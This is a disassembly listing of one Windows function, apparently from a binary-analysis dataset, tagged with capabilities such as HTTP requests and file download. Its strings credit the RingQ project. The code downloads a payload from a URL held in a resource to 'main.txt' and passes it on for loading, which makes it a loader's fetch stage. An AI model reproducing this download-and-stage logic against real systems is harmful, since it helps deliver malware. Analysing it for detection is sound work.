Function at 0x140002750
Capabilities:
Create http request
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r14
push r15
lea rbp, [rsp - 0x3c0]
sub rsp, 0x4c0
xor r14d, r14d
lea rdx, str._______________RingQ_:_
call fcn.140004df0
mov rbx, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
mov dl, 0xa
call fcn.140004ad0
movzx edx, al
mov rcx, rbx
call fcn.140005b80
mov rcx, rbx
call fcn.140005a50
lea rdx, str.Github:_https:__github.com_T4y1oR_RingQ
call fcn.140004df0
mov rbx, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
mov dl, 0xa
call fcn.140004ad0
movzx edx, al
mov rcx, rbx
call fcn.140005b80
mov rcx, rbx
call fcn.140005a50
xor ecx, ecx
call fcn.14000e4c8
mov ecx, eax
call fcn.14000d4fc
mov ebx, r14d
call fcn.14000d4d0
inc rbx
cmp rbx, 0x64
jl 0x1400027e5
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
movdqa xmm1, xmmword [0x14002f590]
movdqu xmmword [rbp - 0x50], xmm1
movabs r15, 0x7478742e6e69616d
mov qword [rbp - 0x60], r15
mov byte [rbp - 0x58], r14b
mov r8d, 1
lea rdx, [rbp - 0x60]
lea rcx, [rbp - 0x40]
call fcn.1400043c0
mov rax, qword [rbp - 0x40]
movsxd rcx, dword [rax + 4]
lea r8, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x40], r8
mov rax, qword [rbp - 0x40]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx - 0x44], edx
mov rax, qword [rbp - 0x40]
movsxd rcx, dword [rax + 4]
mov ebx, dword [rbp + rcx - 0x30]
mov qword [rbp + rcx - 0x40], r8
mov rax, qword [rbp - 0x40]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx - 0x44], edx
lea rcx, [rbp - 0x30]
call fcn.140003910
mov rax, qword [rbp - 0x40]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x40], rax
mov rax, qword [rbp - 0x40]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x18]
mov dword [rbp + rcx - 0x44], edx
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0x70], rax
lea rcx, [rbp + 0x70]
call fcn.140006f78
nop
test ebx, ebx
jne 0x1400028c8
lea rcx, [rbp - 0x60]
call fcn.140002180
jmp 0x140002c61
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov r9d, 0x100
lea r8, [rbp - 0x40]
mov edx, 0x65
mov rcx, rax
call qword [sym.imp.USER32.dll_LoadStringW]
test eax, eax
jle 0x14000290e
lea rdx, [rbp - 0x40]
lea rcx, [rsp + 0x40]
call fcn.140003cd0
movups xmm0, xmmword [rsp + 0x40]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [rsp + 0x50]
movups xmmword [rbp - 0x70], xmm1
jmp 0x14000291f
lea rdx, [0x14002f4e0]
lea rcx, [rbp - 0x80]
call fcn.140003cd0
nop
lea rdx, [rbp - 0x80]
lea rcx, [rsp + 0x60]
call fcn.140001f90
nop
lea rdx, [rsp + 0x60]
cmp qword [rsp + 0x78], 0xf
cmova rdx, qword [rsp + 0x60]
mov r8, qword [rsp + 0x70]
call fcn.140006140
mov rbx, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
mov dl, 0xa
call fcn.140004ad0
movzx edx, al
mov rcx, rbx
call fcn.140005b80
mov rcx, rbx
call fcn.140005a50
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x50], xmm1
mov r8d, 4
cmp qword [rsp + 0x70], r8
cmovb r8, qword [rsp + 0x70]
lea rdx, [rsp + 0x60]
cmp qword [rsp + 0x78], 0xf
cmova rdx, qword [rsp + 0x60]
lea rcx, [rsp + 0x40]
call fcn.1400053e0
lea rcx, [rsp + 0x40]
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x58]
cmp rsi, 0xf
cmova rcx, rbx
mov r8, qword [rsp + 0x50]
cmp r8, 4
jne 0x1400029e4
lea rdx, str.http
call fcn.140023540
test eax, eax
jne 0x1400029e4
mov dil, 1
jmp 0x1400029e7
xor dil, dil
cmp rsi, 0xf
jbe 0x140002a1e
lea rdx, [rsi + 1]
mov rax, rbx
cmp rdx, 0x1000
jb 0x140002a16
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002cb7
mov rcx, rbx
call fcn.140007884
test dil, dil
je 0x140002bb8
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
movdqa xmm1, xmmword [0x14002f590]
movdqu xmmword [rsp + 0x50], xmm1
mov qword [rsp + 0x40], r15
mov byte [rsp + 0x48], 0
mov dword [rsp + 0x20], r14d
xor r9d, r9d
xor r8d, r8d
mov edx, 1
lea rcx, str.Download
call qword [sym.imp.WININET.dll_InternetOpenW]
mov rsi, rax
test rax, rax
je 0x140002b6e
lea rdx, [rsp + 0x60]
cmp qword [rsp + 0x78], 0xf
cmova rdx, qword [rsp + 0x60]
mov qword [rsp + 0x28], r14
mov dword [rsp + 0x20], 0x80000000
xor r9d, r9d
xor r8d, r8d
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov rbx, rax
test rax, rax
je 0x140002b65
lea rcx, [rsp + 0x40]
cmp qword [rsp + 0x58], 0xf
cmova rcx, qword [rsp + 0x40]
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rdi, rax
mov rcx, rbx
cmp rax, 0xffffffffffffffff
je 0x140002b5f
lea r9, [rbp + 0x3f0]
mov r8d, 0x400
lea rdx, [rbp - 0x40]
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x140002b53
nop word [rax + rax]
mov r8d, dword [rbp + 0x3f0]
test r8d, r8d
je 0x140002b53
mov qword [rsp + 0x20], r14
lea r9, [rbp + 0x3f8]
lea rdx, [rbp - 0x40]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteFile]
lea r9, [rbp + 0x3f0]
mov r8d, 0x400
lea rdx, [rbp - 0x40]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x140002b10
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
lea rcx, [rsp + 0x40]
call fcn.140002180
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x140002bc3
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002bb1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002cbd
call fcn.140007884
jmp 0x140002bc3
lea rcx, [rsp + 0x60]
call fcn.140002180
nop
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x140002c00
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002bfb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002cc3
call fcn.140007884
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x78], 0xf
mov byte [rsp + 0x60], 0
mov rdx, qword [rbp - 0x68]
cmp rdx, 7
jbe 0x140002c4f
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002c4a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002cc9
call fcn.140007884
movdqa xmm0, xmmword [0x14002f570]
movdqu xmmword [rbp - 0x70], xmm0
mov word [rbp - 0x80], r14w
mov rdx, qword [rbp - 0x48]
cmp rdx, 0xf
jbe 0x140002c98
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002c93
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002cb1
call fcn.140007884
xor eax, eax
mov rbx, qword [rsp + 0x500]
add rsp, 0x4c0
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
call fcn.14000f170
nop
call fcn.14000f170
nop
call fcn.14000f170
nop
call fcn.14000f170
nop
call fcn.14000f170
int3